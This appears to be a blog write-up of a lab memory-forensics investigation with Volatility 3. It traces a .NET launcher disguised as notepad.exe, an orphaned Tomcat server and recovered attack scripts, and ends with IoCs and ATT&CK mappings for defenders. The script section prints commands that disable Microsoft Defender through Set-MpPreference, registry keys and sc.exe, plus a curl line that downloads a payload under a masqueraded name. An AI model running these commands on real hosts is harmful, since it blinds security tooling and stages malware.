Sitemap

notepad.exe Ran for 6 Seconds. Memory Forensics Exposed the Entire Attack Chain.

16 min readOct 26, 2026

--

How one out-of-place process in a Windows 10 RAM image led me to a masqueraded .NET launcher, an orphaned Tomcat server, a Defender-kill script and the staging server behind it all.

Most investigations start with logs. For this one, everything I had was a single memory image of a Windows 10 host from my IR lab, and one question: what happened on this machine?

The answer turned out to be surprisingly rich. A notepad.exe that was never Notepad. A Java process with no parent. A browser that opened a page nobody typed in. And a PowerShell process whose memory still remembered the URL it used to fetch the payload, even though the payload itself lived for only about six seconds.

This post walks through the investigation step by step with Volatility 3, including the dead ends, because the dead ends taught me as much as the hits.

Lab-specific identifiers (usernames, folder names) have been redacted or renamed. All IP addresses are private VirtualBox lab addresses.

Setting the Stage: What Am I Looking At?

Before hunting anything, I confirm what the image actually is.

python vol.py -f win10.raw windows.info

It was a Windows 10 system. With the profile confirmed, I moved on to the question every memory investigation starts with: which processes should not be here?

First Anomalies: pslist and pstree

I ran windows.pslist and redirected the output to a file so I could study it properly:

python vol.py -f win10.raw windows.pslist > pslist.txt
python vol.py -f win10.raw windows.pstree > pstree.txt
Press enter or click to view image in full size
Press enter or click to view image in full size

Three things looked wrong immediately:

  1. powershell.exe had a child process called notepad.exe.
  2. That notepad.exe was running from C:\temp\, not from C:\Windows\System32.
  3. msedge.exe appeared in the same chain, and a java.exe existed whose parent process (PID 6792) was nowhere in the process list.

The tree looked like this:

explorer.exe (4956)
|
+-- powershell.exe (5140) <- started manually from a console
|
+-- notepad.exe (5032) <- C:\temp\notepad.exe (suspicious)
|
+-- msedge.exe (1688)
java.exe (5408)  <- parent PID 6792 not found (orphan)

A text editor does not spawn a browser. And it certainly does not live in C:\temp.

Summary of the four processes of interest:

| PID  | Process        | PPID | Why it matters                          |
|------|----------------|------|-----------------------------------------|
| 5140 | powershell.exe | 4956 | Interactive console, launched the chain |
| 5032 | notepad.exe | 5140 | Runs from C:\temp, short-lived |
| 1688 | msedge.exe | - | Opened a localhost page |
| 5408 | java.exe | 6792 | Orphan, parent not present |

Command Lines Tell the Story

Next I pulled the command line of every suspect PID:

python vol.py -f win10.raw windows.cmdline --pid 5140 5408 1688 5032
Press enter or click to view image in full size
  • powershell.exe (5140): started manually from a console.
  • notepad.exe (5032): executed for only about six seconds, then exited.
  • msedge.exe (1688): launched with http://localhost:8082/test/index.html.
  • java.exe (5408): running Apache Tomcat 10, serving port 8082.

Now the picture was forming. Something started a local web server and then opened a page on it. But what, and why was it wearing the name of a Windows text editor?

Six Seconds on the Network

python vol.py -f win10.raw windows.netscan | findstr "5140 5032 5408 1688"

Correlating netscan with process creation times gave me a timeline measured in seconds:

Press enter or click to view image in full size
16:30:04  PowerShell console access
16:36:06 powershell.exe launches notepad.exe (PID 5032)
16:36:08 java.exe (Tomcat) starts in the background
16:36:10 java.exe is listening on port 8082
16:36:10 notepad.exe ::1:54707 --> ::1:8082, then closes
16:36:12 msedge.exe launched
16:36:13 Edge requests http://localhost:8082/test/index.html

That ::1:54707 --> ::1:8082 line is the one that stood out. notepad.exe connected to the loopback interface, touched the port Tomcat had just opened, and closed the connection. That looks like a readiness probe, not text editing.

The Orphan: java.exe With No Parent

java.exe (5408) claimed parent PID 6792. I checked whether that parent existed anywhere, including terminated processes:

python vol.py -f win10.raw windows.psscan | findstr "6792"
Press enter or click to view image in full size

Nothing. The most likely explanation is a short-lived launcher, such as a batch script, that started Java and then exited. Windows does not rewrite the PPID when a parent dies, so the child keeps a dangling reference.

A lesson I keep relearning: an orphan process on its own proves nothing. Plenty of legitimate software does this. What made this one interesting was what started it and when, which the timeline above had already answered.

malfind: Reading the Results Honestly

I started with the targeted run:

python vol.py -f win10.raw windows.malware.malfind --pid 5032 1688
Press enter or click to view image in full size

No output. That is not a clean bill of health. notepad.exe (5032) had already exited, so there was no live memory left to inspect, and msedge.exe showed no injected code. java.exe (5408) also came back empty.

So I ran malfind against the whole image:

python vol.py -f win10.raw windows.malware.malfind
Press enter or click to view image in full size

Two results:

  • PID 5300 (SearchApp): false positive. This is the Windows 10 search and start menu app, which allocates executable memory legitimately.
  • PID 5140 (powershell.exe): 5 regions with PAGE_EXECUTE_READWRITE. Suspicious.

I dumped those regions for closer inspection:

python vol.py -f win10.raw -o dumps windows.malware.malfind --pid 5140 --dump

A caveat worth stating: executable private memory in a .NET host like PowerShell is not automatically malicious, because the CLR can produce it too. Hold that thought, because one of the later findings turns this from a suspicion into evidence.

Recovering a Process That No Longer Exists

The binary was running from C:\temp\, so even though the process was gone, Windows may still have the file in its cache. I searched the file objects:

python vol.py -f win10.raw windows.filescan | findstr /i "notepad.exe"
Press enter or click to view image in full size

Two file objects pointed at \temp\notepad.exe: 0xe6031b404440 and 0xe6031b4118c0. I extracted both:

python vol.py -f win10.raw -o dumps windows.dumpfiles --virtaddr 0xe6031b404440
python vol.py -f win10.raw -o dumps windows.dumpfiles --virtaddr 0xe6031b4118c0
Press enter or click to view image in full size

Hashing the recovered file:

powershell -Command "Get-ChildItem 'dumps\*notepad*' | Get-FileHash -Algorithm SHA256 
| Format-List"
Press enter or click to view image in full size

SHA256: 665C8331C814D644FF15508FB1E21E57F4D3CFEAED8CA11A11BB35CC7922CFE2
Press enter or click to view image in full size

A VirusTotal search returned no results. That does not mean the file is safe. It means the sample is unknown to the platform, which is exactly what you would expect from a custom-built binary.

I also tried dumping the process memory directly:

python vol.py -f win10.raw -o dumps windows.vadinfo --pid 5032 --dump
Press enter or click to view image in full size

Nothing came out. notepad.exe had run for six seconds and exited, and its private memory had already been released back to the system. This is the core limitation of memory forensics for short-lived processes: once the process ends, its memory is gone, and the file cache is your second chance.

Strings Don’t Lie: It’s Not Notepad, It’s TomcatLaunch

With the file cache recovered, I extracted both ASCII and Unicode strings with a PowerShell one-liner and filtered them for the keywords I cared about (http, 8082, localhost, msedge, cmd, powershell, test, index, .html).

The output immediately identified the real name of the binary:

<Module>  TomcatLaunch.exe  TomcatLaunch  mscorlib
StartupBat IndexPath TargetUrl TargetPort
Main IsListening WaitForPort WaitForHttp FindEdge Log
=== TomcatLaunch start ===
Tomcat already listening on port - skipping startup
C:\apachetomcat10\bin\startup.bat
startup.bat launched - waiting for server...
Timed out waiting for port
Tomcat is now listening on port
http://localhost:8082/test/index.html
Opening in Edge: http://localhost:8082/test/index.html
Edge not found; opened URL with default browser
=== TomcatLaunch done ===
Press enter or click to view image in full size
Press enter or click to view image in full size

The metadata strings (mscorlib, System.Diagnostics.Process, TcpClient, HttpWebRequest) show a C# / .NET executable. Reading the strings as a program, the logic reconstructs cleanly:

Check if port 8082 is already listening
|
v (if not)
Run C:\apachetomcat10\bin\startup.bat
|
v
Wait for the port to open --> wait for HTTP response
|
v
Locate msedge.exe (fallback: default browser)
|
v
Open http://localhost:8082/test/index.html
|
v
Write a log entry and exit

This matches everything the process tree and netscan showed: the six-second lifetime, the Tomcat child, the loopback probe and the browser launch. The binary was TomcatLaunch.exe running under the name notepad.exe from C:\temp\, which is textbook masquerading.

It is a good reminder that a launcher does not need to be sophisticated to be effective. Its entire job was to stage a local web service and display a page.

Who Ran It? Carving the Console From Memory

Process artifacts told me what ran. To find how, I looked at the user session:

python vol.py -f win10.raw windows.sessions
Press enter or click to view image in full size

Two things stood out. sshd.exe (PID 3472) and ssh-agent.exe (PID 3492) were running, meaning OpenSSH was active on the host. And the conhost.exe instance (PID 832) belonged to the PowerShell console of the user MalwareIR in Session 1.

The console host keeps the screen buffer in memory, which makes it one of the best places to find interactive command history. I dumped its memory:

python vol.py -f win10.raw -o dumps windows.vadinfo --pid 832 --dump

Then extracted ASCII and UTF-16LE strings, filtered for powershell|notepad|temp|8082|scp|ssh|http|Start-Process. The raw result was noisy, a mix of both encodings and garbage, so I wrote a small Python parser (parse_console.py) to clean it up.

Get Mohammad Samsuzzoha’s stories in your inbox

Join Medium for free to get updates from this writer.

What the console buffer revealed:

  • The actor worked from the user account MalwareIR, in a working directory I have redacted here as C:\<REDACTED>\.
  • Network discovery with ipconfig.
  • An attempt to disable security controls through a PowerShell script, which appears to have failed.
  • Pre-staged tooling: Win-PS2EXE-master, TomcatLaunch.zip, and a TomcatLaunch project folder.
  • The command .\notepad.exe, mapping to C:\temp\notepad.exe (PID 5032).
Press enter or click to view image in full size
Press enter or click to view image in full size
Press enter or click to view image in full size

The story shifted: the actor tried to weaken the host first, then fell back to a compiled executable disguised as a system binary.

Where Did the Binary Come From? Shimcache From Memory

To establish provenance I used the Application Compatibility Cache, which Volatility can read straight from memory:

python vol.py -f win10.raw windows.shimcachemem
Press enter or click to view image in full size

Key entries:

| Order       | Entry                              | Significance                                  |
|-------------|------------------------------------|-----------------------------------------------|
| 0 | C:\temp\notepad.exe | Masqueraded .NET launcher |
| 2, 3, 10 | curl.exe, sftp-server.exe, sshd.exe| Possible file retrieval / SSH-SFTP transfer |
| 21, 29, 30 | Win-PS2EXE.exe, cvtres.exe, csc.exe| PowerShell-to-EXE conversion, .NET compile |
| 26, 27, 33 | TomcatLaunch.exe, test.exe | Original binary and renamed copies |
| 68, 71 | tomcat10.exe, java.exe | Tomcat / Java activity tied to port 8082 |

Putting it together:

  1. Origin: the binary appears to originate from C:\<REDACTED>\TomcatLaunch\TomcatLaunch.exe and was later copied or moved to C:\temp\notepad.exe.
  2. Build tooling: Win-PS2EXE plus the built-in csc.exe C# compiler point to the payload being compiled on or near this host.
  3. Transfer: sftp-server.exe and sshd.exe suggest files may have arrived over SSH/SFTP.
  4. Recon tooling: curl.exe, ipconfig.exe and netstat.exe suggest file retrieval and network discovery.

An important caveat: Shimcache shows that a file was present or touched, not that it definitely executed. I treated these as leads and validated them against the other artifacts.

Network Context: Two Subnets

To understand the network layout, I enumerated the interfaces from the registry hive in memory:

python vol.py -f win10.raw windows.registry.printkey --key "ControlSet001\Services\Tcpip\Parameters\Interfaces"

Then drilled into each interface GUID and looked for IPAddress. Later findings confirmed the host was talking across two networks: a VirtualBox NAT subnet (10.0.2.x) and a Host-Only subnet (192.168.56.x).

Hunting the Entry Point (and Hitting Walls)

The obvious question was how the actor got in. Since Tomcat was in the picture, I looked for a classic Tomcat compromise: a web shell or a malicious WAR.

First, the Tomcat startup parameters from java.exe:

python vol.py -f win10.raw windows.cmdline --pid 5408
Press enter or click to view image in full size
Tomcat home / base : C:\apachetomcat10
Temp directory : C:\apachetomcat10\temp
Startup class : org.apache.catalina.startup.Bootstrap start

Then I searched the file objects for anything suspicious in the web root:

python vol.py -f win10.raw windows.filescan | findstr -i "apachetomcat10\\webapps"
Press enter or click to view image in full size

No .jsp, .war or .class web shell was present. I also dumped the Java process memory to look for HTTP activity:

python vol.py -f win10.raw windows.memmap --pid 5408 --dump
Press enter or click to view image in full size

The dump contained references to conf/tomcat-users.xml, the Tomcat /manager context and multiple /test/ application paths. That gives two plausible hypotheses: abuse of Tomcat Manager with weak credentials, or exploitation of the /test/ application. But a reference to a config file is not proof of exploitation, and I could not confirm either path. I would rather report an unproven entry point as unproven than invent one.

Press enter or click to view image in full size

A dead end worth sharing

My search for curl strings in the Java memory dump came back as a 0 KB file. At first that looked like a failure. It was actually a clue: curl.exe had been launched from a PowerShell script as a separate child process, so its artifacts would never appear in java.exe's heap. I was searching the wrong process.

Press enter or click to view image in full size

The lesson: when a search returns nothing, ask whether you are looking in the right place before you conclude the evidence does not exist.

The Breakthrough: One Regex, One URL

Instead of guessing which process held the delivery URL, I scanned the entire physical memory for any URL containing an IP address:

python vol.py -q -f win10.raw regexscan.RegExScan --pattern "https?://\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}(?::\d{1,5})?"
Press enter or click to view image in full size

The full payload URL surfaced at several physical offsets:

http://10.0.2.4:8082/test/test.exe

Nearby memory also referenced http://192.168.56.103:8082/test/, confirming activity across both lab subnets.

Then I narrowed down to the process with windows.vadregexscan against PowerShell (PID 5140). The URL was found at virtual address 0x2476b281748, which sits inside the heap region 0x2476b250000-0x2476b25ffff, the very same unbacked PAGE_EXECUTE_READWRITE region that malfind had flagged earlier.

malfind flags PowerShell RWX region (suspicion)
+
Regex scan finds the payload URL inside that exact region (evidence)
=
PowerShell (5140) was the process that fetched the payload

That is what I like about memory forensics. Two independent plugins, using different methods, pointed at the same region of the same process.

Recovering the Scripts

The console buffer had shown two scripts being run with the execution policy bypassed:

powershell -ExecutionPolicy Bypass -File .\disablesecurity.ps1
powershell -ExecutionPolicy Bypass -File .\dltest.ps1

I searched for both files:

python vol.py -f win10.raw windows.filescan | findstr -i "dltest.ps1 disablesecurity.ps1"
Press enter or click to view image in full size
Press enter or click to view image in full size

disablesecurity.ps1 was found at offset 0xe6031b3a2af0 and extracted with windows.dumpfiles. dltest.ps1 did not appear in filescan. Possible reasons are that its cached data was overwritten or that it was deleted after use, but those are hypotheses, not findings. The content of dltest.ps1 was still partially recoverable from strings, including the download URL and a curl.exe call writing to C:\temp\notepad.exe:

[string]$Url = 'http://10.0.2.4:8082/test/test.exe'
"C:\Windows\system32\curl.exe" -sS ... -o C:\temp\notepad.exe ...

What disablesecurity.ps1 tried to do

The script used three different approaches to weaken Microsoft Defender.

1. Admin check. It first tests whether it is running elevated:

$isAdmin = ([Security.Principal.WindowsPrincipal]
[Security.Principal.WindowsIdentity]::GetCurrent()
).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)

2. Defender preferences.

Set-MpPreference -DisableRealtimeMonitoring $true
Set-MpPreference -DisableBehaviorMonitoring $true
Set-MpPreference -DisableIOAVProtection $true
Set-MpPreference -DisableScriptScanning $true
Press enter or click to view image in full size

3. Registry policy changes.

HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender
DisableAntiSpyware = 1
HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection
DisableRealtimeMonitoring = 1
Press enter or click to view image in full size

4. Service and driver tampering. It tried to stop and disable WinDefend, WdNisSvc, WdNisDrv and WdFilter using sc.exe config <service> start= disabled.

Press enter or click to view image in full size

The last line of the script is Start-Process -FilePath "notepad.exe". Given everything above, it is tempting to say this launched the masqueraded binary. But the command does not reference C:\temp\notepad.exe explicitly, so it may resolve to the legitimate Notepad depending on the environment. I flag it as a probable link, not a confirmed one.

Every one of these changes also depends on privileges, Tamper Protection and policy enforcement, so the presence of the commands does not prove they succeeded.

The Reconstructed Attack Chain

[1] Suspected activity against the Tomcat /test/ application
source 10.0.2.4 --> victim :8082 (Unconfirmed)
|
v
[2] Recon from the console: ipconfig, netstat (Observed)
|
v
[3] disablesecurity.ps1 - Defender tampering (Attempted, outcome unverified)
|
v
[4] dltest.ps1 -> curl.exe fetches
http://10.0.2.4:8082/test/test.exe
saved as C:\temp\notepad.exe (Strong evidence)
|
v
[5] powershell.exe (5140) -> notepad.exe (5032) (Confirmed)
|
+--> startup.bat -> java.exe (5408) Tomcat on :8082
+--> loopback probe ::1:8082
+--> msedge.exe (1688) opens localhost:8082/test/index.html
|
v
[6] Launcher exits after ~6 seconds (Confirmed)

One point I want to be upfront about: there are two possible provenance stories for the binary. Shimcache suggests it was built locally (Win-PS2EXE, csc.exe) and copied from a project folder, while the script evidence shows a curl download of test.exe saved as notepad.exe. Both are consistent with the artifacts I recovered, and memory alone does not let me decide between them or prove that both happened. That is where disk and log evidence would come in.

What I Can and Cannot Prove

CONFIRMED
- powershell.exe -> notepad.exe chain, binary running from C:\temp
- notepad.exe lifetime of ~6 seconds with a loopback probe to :8082
- The binary is a .NET launcher (TomcatLaunch.exe) per recovered strings
- java.exe (5408) is Apache Tomcat 10 on port 8082
- Payload URL present inside PowerShell's flagged RWX region
- disablesecurity.ps1 existed and its contents
NOT YET VERIFIED
- Whether the Defender-disabling commands actually succeeded
- Whether Start-Process notepad.exe launched the C:\temp copy
- The initial access vector (Tomcat Manager vs /test/ app)
- File transfer over SSH/SFTP

Takeaways for Defenders

  • Parent-child relationships beat file names. powershell.exe spawning notepad.exe that then launches a browser is an easy detection. Alert on notepad.exe running from anywhere other than System32 or SysWOW64.
  • Notepad does not need the network. Any notepad.exe making a network connection, even to loopback, deserves attention.
  • Watch for Defender tampering. Set-MpPreference disabling protection, Defender policy registry changes and sc.exe config on Defender services should be high-fidelity alerts. Microsoft Defender events 5001 and 5007 are worth monitoring.
  • Capture memory early. The process lived six seconds. Without a memory image, the in-memory URL, the console history and the file cache would likely be gone.
  • Hunt in the right process. Child processes such as curl.exe leave their artifacts in the parent shell and the console host, not in the service that happened to be nearby.

Conclusion

What began as a single suspicious process in a RAM image became a full reconstruction: a .NET launcher disguised as Notepad, a Tomcat server started as an orphan, a browser opened on a local page, a script written to blind Defender, and a payload URL that PowerShell’s own memory still held.

The most valuable moments were not the plugins that returned results, but the ones that returned nothing: the empty malfind on an exited process, the empty VAD dump, the 0 KB curl search. Each one forced a better question.

Memory forensics will not answer everything, and it is important to say so. But when you correlate process trees, network state, console buffers, file cache, Shimcache and regex-carved strings, independent artifacts start agreeing with one another, and that agreement is what turns suspicion into evidence.

In the next part, I will validate these findings against static and dynamic analysis of the sample to see whether all three phases tell the same story.

- — — — — — — — — — — — — — — — — — — — — — — — — — — — -

IoCs

| Type         | Indicator                                                        | Context                              |
|--------------|------------------------------------------------------------------|--------------------------------------|
| SHA256 | 665C8331C814D644FF15508FB1E21E57F4D3CFEAED8CA11A11BB35CC7922CFE2 | Cached copy of C:\temp\notepad.exe |
| File path | C:\temp\notepad.exe | Masqueraded .NET launcher |
| Original name| TomcatLaunch.exe | Recovered from .NET strings |
| Source URL | http://10.0.2.4:8082/test/test.exe | Payload download (lab IP) |
| URL | http://192.168.56.103:8082/test/ | Host-Only subnet reference (lab IP) |
| URL | http://localhost:8082/test/index.html | Page opened by launcher |
| Script | disablesecurity.ps1 | Defender tampering |
| Script | dltest.ps1 | Payload download via curl.exe |
| Tooling | Win-PS2EXE, csc.exe, cvtres.exe | PowerShell-to-EXE / .NET compilation |
| Path | C:\apachetomcat10\bin\startup.bat | Tomcat startup launched by dropper |
| Port | 8082/TCP | Tomcat listener / payload host |

- — — — — — — — — — — — — — — — — — — — — — — — — — — — -

MITRE ATT&CK Mapping

| Technique                                      | ID        | Evidence                                       | Confidence |
|------------------------------------------------|-----------|------------------------------------------------|------------|
| Command and Scripting Interpreter: PowerShell | T1059.001 | Interactive console, -ExecutionPolicy Bypass | High |
| Masquerading: Match Legitimate Name or Location| T1036.005 | TomcatLaunch.exe running as notepad.exe | High |
| Ingress Tool Transfer | T1105 | curl.exe download of test.exe from 10.0.2.4 | Medium |
| Impair Defenses: Disable or Modify Tools | T1562.001 | Set-MpPreference, sc.exe config on Defender | Attempted |
| Modify Registry | T1112 | Defender policy keys in disablesecurity.ps1 | Attempted |
| Obfuscated Files: Compile After Delivery | T1027.004 | Win-PS2EXE, csc.exe, cvtres.exe in Shimcache | Medium |
| System Network Configuration Discovery | T1016 | ipconfig in console buffer | High |
| System Network Connections Discovery | T1049 | netstat.exe in Shimcache | Low |
| Remote Services: SSH | T1021.004 | sshd.exe, sftp-server.exe activity | Low |

- — — — — — — — — — — — — — — — — — — — — — — — — — — — -

Hope you found this useful. If you work in DFIR, SOC or malware analysis, follow me for more hands-on investigations like this.

My LinkedIn

Tags: Cybersecurity, Malware Analysis, Digital Forensics, Incident Response, Volatility

--

--

Written by Mohammad Samsuzzoha

0 followers

5+ Years in Enterprise Security Operations | Cyber Security Engineer| Incident Responder | Malware Research